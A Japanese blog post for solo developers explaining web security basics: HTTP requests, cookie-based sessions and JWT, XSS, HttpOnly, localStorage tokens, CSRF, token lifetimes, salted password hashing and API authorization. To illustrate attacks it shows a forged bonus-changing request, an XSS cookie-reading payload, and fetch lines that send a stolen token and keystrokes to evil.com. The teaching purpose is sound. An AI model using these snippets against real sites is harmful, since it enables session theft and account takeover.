個人開発でシステムを作る場合の注意点その1(HTTP、クッキー、パスワードの管理、XSS、HttpOnle属性、API権限)

Higtyの開発日記

この記事の概要

個人開発で必要な考慮事項をまとめてみました。長くなりそうなのでまずはその1ということでセキュリティ関係の記事をまとめていきます。


AIの進化により、個人開発で簡単にSaasサービスはモバイルアプリを作れるようになりました。しかしながらネットワークやWEBサーバー、データベースなどの仕組みを理解しないと大きなセキュリティ事故を起こしてしまうリスクがあります。しっかりとした技術理解を深めつつ、最高の個人開発サービスを作っていきましょう。


HTTPとは?

まずは現代の通信の大部分を支えているHTTPについて理解しましょう。


まずはこの動画から


HTTPは現在バージョン3です。長い年月をかけて進化してきています。実際にはデータを取得するためにブラウザとサーバーとで何度もやりとりをしています。


実際に送受信されるデータのフォーマットはどうなっているのでしょうか?chromeの開発者ツールやFiddlerなどのツールを使うことでその中身を見ることができます。


基本的には以下のようなデータになります。GETリクエストの場合はヘッダー情報のみ送られます。ヘッダーはテキスト形式のデータになります。

GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: keep-alive
Host: www.higlabo.ai


POSTの場合は以下のようになります。ヘッダーの下に1行の空行があり、その下にBODY部分が続きます。

POST /api/book/edit HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/aConnection: keep-alive
Host: www.higlabo.ai
Content-Type: application/json

{
    "BookId":"0384a061-eaa7-f489-0674-3a1ec32f1c48",
    "Title":"HTTPについて"
}

HTTPリクエストはサーバーから見るとステートレスです。1個目のリクエストと2個目のリクエストが何かしらの関係があるというのはわかりません。しかしECサイトなどで商品を見るたびに毎回自分の情報(メールアドレスなど)を入力するとなると大変です。この不便さを解決するためにクッキーという仕組みがあります。あとで詳しく解説します。


セキュリティ対策でまず最初に覚えておいてほしいのがHTTPリクエストはツールを使っていくらでも改変可能ということです。


クッキーについて理解する

次はクッキーについて理解しましょう。これらの動画がわかりやすいです。


簡単に言うと

→WEBサーバーで値をセットしてクライアントに送る

→ブラウザはその値を保存してそのドメインへのリクエスト時にその値をヘッダーにつけて送信

という仕組みです。


RFCとして仕様が定義され、現在の全てのブラウザはクッキーをサーバーに送信するように実装されています。


さて先ほども説明したとおり、HTTPの仕様はステートレスな仕様です。そのため1回目のリクエストと2回目のリクエストが同じユーザーからのリクエストであるかどうかを判断できません。


クッキーを使うことでHTTPの限界を克服することができます。ユーザーとパスワードを受け取り、認証が成功したら「ユーザーID」をWEBサーバーからクッキーとして発効すればよいのです。次回のリクエストからヘッダーにクッキーの値が含まれるようになります。後はサーバー側でその値を取得して使うだけです。

「やったね!」


しかしこの方法では問題があります。ツールを使うとHTTPリクエストを改変できます。単純にクッキーにユーザーIDを発行する形だと、ツールを使ってユーザーIDを人事部のIDに書き換えてリクエストを送ると人事部だけが見ることのできるページを見たり、ボーナスの金額を書き換えたりすることも可能になります。

POST /api/bonus/update HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/aConnection: keep-alive
Host: www.higlabo.ai
Content-Type: application/json
Cookie: UserId=(人事部の社員のユーザーID)

{
    "UserId":"自分のユーザーID",
    "Amount":"5000兆円"
}

ボーナスを5000兆円に変更するリクエストはこんな感じですね(笑)


推測可能な値をクッキーにセットしてしまうと上記のような攻撃が可能になります。これを防ぐためにはどうすればよいでしょうか?


これらの不正なリクエストを防ぐためにサーバーでランダムな値を生成してクッキーとしてクライアントに送り、サーバー側でそのランダムな値から実際のユーザーIDを復元するというような方法が取られます。


クッキーでの認証方式

さてクッキーの値をユーザーIDにマッピングする方法はどのようなものがあるでしょうか?大きく二つ、セッションIDとJWTという方法があります。以下の動画がわかりやすいです。


2000年頃のインターネット黎明期ではセッション方法が取られていました。生成されたランダムな値とユーザーIDのマッピングをDBなどに保存しておき、リクエストのヘッダーから取得したランダムな値を元にDBからユーザーIDを取得する、という感じです。


しかしこの実装だと全てのHTTPリクエストでDBアクセスが発生し、DBサーバーへの負荷が高くなってしまいます。DBアクセスは負荷が高いため、代わりにRedisサーバーなどを用いてメモリから取得するようなアーキテクチャを取ることが多いです。いずれにしてもサーバーへの負荷が高いのがこのセッション方式の課題です。


現在はJWTという方式がとられることが多いです。サーバーで秘密鍵を使用して署名してランダムな値を生成します。クライアントから再度送られてきた値をサーバー側で検証し、不正でないかをチェックして問題なければその値を使用する形です。


この形ならばクライアントで勝手に値を書き換えても検証に失敗してサーバーで処理が実行されません。ボーナスの変更処理が実行される前にエラーが発生し、不正な処理の実行を防ぐことができます。


JWT形式の素晴らしいところは

・サーバーはマッピング用のストレージが不要

・サーバーの負荷が小さい

・JWTの改変は事実上不可能

・サーバーのスケールが容易

ということです。


XSSとは?

ユーザー入力をそのままHTMLで表示できるようにしてしまうとXSSの脆弱性になり、クッキーを盗まれます。クッキーを盗まれるとこれまで解説してきたように様々な攻撃が可能になります。


この動画ではXSSがあるとどのようにクッキーが盗まれるか解説しています。


URLの検索文字列をそのままHTMLに表示するようにプログラムを組んだとします。

https://www.myshop.com/search?query=XSS

にアクセスするとページのタイトルが

<h1>Result for: XSS</h1>

となります。


ブラウザにhttps://www.myshop.com/search?query=<script>document.cookie</script>と入力するとクッキーの値を表示できてしまいます。

<h1>Result for: <script>document.cookie</script></h1>


具体的な攻撃の方法を解説した動画です。

他人のサーバーでXSSの不具合を見つけたからといって実際にやるのは犯罪行為です。もしやる場合は自分の管理下のテストサーバーで行うようにしましょう。



攻撃者はこのクッキーの値を自分のサイトに送信するようにjavascriptでプログラムを組むことが可能です。ECサイトでXSSを使って不正なスクリプトを実行、自分のサイトにクッキーが送信されてきた瞬間に攻撃者へメールが飛んですぐ気づけるようにします。そのクッキーを使ってすぐさまECサイトにアクセスし、物品を不正に購入するなどの行為が可能になります。


対策は「全てのユーザーの入力を変換する」ということです。ユーザーの入力は絶対にそのまま使わないようにしましょう。


Cookie HttpOnly属性

Cookie HttpOnly属性をセットすることで永続的なクッキーの流出を防ぐことができます。

var cookieValue = document.cookie;
//取得したクッキーを外部へ送信

というのができなくなります。この属性をセットすることで認証情報の外部持ち出しを防ぐことができ、永続的な乗っ取りは防ぐことができます。被害者がブラウザを閉じれば攻撃は受けません。


HttpOnly属性が防げるのはクッキーの永続的な窃盗のみです。永続的な窃盗に成功すると以下のようなことが可能です。

・攻撃者が自分のPCからAPIを実行可能(発覚しにくい)

・被害者がログアウトしても無効化されない(JWTの有効期限内)

・ブラックマーケットで販売可能

・永続的なアカウント乗っ取りの危険性有り


HttpOnly属性で永続的な窃盗を防ぐことによるメリットはログアウトすることでクッキーを無効化して正常な状態に回復可能なことです。しかし後述のようにAPIの実行は可能なので攻撃の被害を防ぐことはほぼできないと考えてよいでしょう。


Local Storageでの認証情報の管理

SPAなどではLocal Storageに認証情報を保存する場合があります。この設計はHttpOnly属性よりも脆弱です。具体的には攻撃者は認証情報を簡単に外部に送信することができます。

const token = localStorage.getItem("token");
fetch("https://evil.com/steal?token=" + token);

HttpOnly属性であれば永続的な窃盗を防ぐことができ、少しだけ安全と言えます。しかしながらLocal StorageでもHttpOnly属性でもXSSにはほぼ無力と言えるでしょう。


XSSに無力な対策

XSSをされるとほとんどの対策は無力です。HttpOnly属性も例外ではありません。HttpOnly属性ではXSSによる攻撃を防ぐことはできません。以下のように意図しないAPI実行をされてしまいます。例えば以下のように

fetch("/api/email/change", { method: "POST", body: ... })

という処理を不正に実行されてメールアドレスを変更され、アカウントの乗っ取りが可能です。2要素認証がないサイトなら乗っ取りが簡単に乗っ取りが成功してしまいます。


またCSRFの対策もあまり意味を成しません。

const token = document.querySelector("input[name=csrf]").value;

でCSRFのトークンを取得できてしまえば後は何でも可能です。


他にもキーロガーを設定してユーザーが入力したパスワードを外部へ送信することも可能です。

document.addEventListener("input", e => {
  fetch("https://evil.com/key-input-log", ...)
});


XSSは致命的な脆弱性ということが分かると思います。HttpOnly属性やCSRFの対策をしていてもほとんど意味がありません。


クッキーの有効期限の管理

さて様々な方法でアクセス用のクッキーが盗まれることが理解できたかと思います。アクセストークンはできる限り盗まれないようにするのは当然なのですが、クッキーの有効期限を短くすることは効果があります。クッキーの有効期限が切れていれば攻撃は成功しません。


しかしクッキーの有効期限が短いとユーザーは認証処理を頻繁に行うことになりユーザー体験が低下します。


その二つの課題を解決する手法がこの動画で紹介されています。

具体的にはアクセストークンとリフレッシュトークンという二つのコンビネーションでアクセストークンの寿命を短く保つ方法があります。この方式にすることでユーザー体験を損なわずにクッキーが盗まれた場合の被害を受ける可能性を小さくすることができます。


パスワードの適切な管理

これまでHTTPの仕組み、ステートレスなHTTPが抱える弱点を克服するCookieの仕組みとその実装方法注意点について学んできました。ユーザーIDとパスワードが一致して認証が成功したときに安全なランダムな値を発行し、適切に管理することでユーザーのデータは安全に保たれます。


しかしながら認証をするためのパスワードが漏れると全てが台無しです。人事部のユーザーID(多くはメールアドレスであることが多い)とパスワードを知れればボーナスを変更できてしまうのです。


パスワードはDBに保存することになりますが、そのままの値を保存してしまうと問題が発生します。エンジニアはデータベースのテーブルをクエリしたり、VS Codeなどの開発用のツールでパスワードの値を見ることができます。


パスワードを適切にデータベースに保存するには以下の動画を参考にしましょう。


単純に「暗号化すれば大丈夫」という考え方では危険です。復元可能な双方向関数だとプログラムを書けば元のパスワードの値を取得できます。ユーザーの入力値を1方向関数で変換し、データベースに保存されている値と比較する必要があります。


またSalt無しでデータベースに保存しているのも不十分です。事前計算されたデータを使って元の値を推測するレインボーアタックという方法があり、元の値を短い時間で復元することができます。この動画のようにSalt付きで保存することでそういった攻撃からパスワードを守ることが可能です。



重要ページでの再認証

アマゾンなどのサイトでは購入やパスワード変更、住所変更などの重要な動作の前にパスワードの再入力を求めるようになっています。これは仮にクッキーが盗まれた際に、攻撃者がユーザーAとして商品を購入しようとしてもパスワードを知らない限り商品を購入できなくする効果があります。


攻撃者はユーザーのクッキーを盗むだけでは攻撃が成立せず、パスワードの窃盗も必要で成果を上げるための障壁が高くなります。


API権限

管理ページへのアクセスや、管理者だけが変更可能なマスタデータの追加・更新・削除などのAPIのエンドポイントを適切に保護する必要があります。管理ページのURLがUI上に表示されていなくてもURLをブラウザに入力してページが表示されるのは問題です。サーバー側で認証ユーザーのユーザーIDを取得し、そのユーザーがページを表示する権限があるかどうかを検証するように実装しましょう。


APIのエンドポイントも同様です。/api/language-model/addというAIモデルの追加用のエンドポイントがあったとして、管理ページの表示と同様に追加する権限があるかどうかを検証するように実装する必要があります。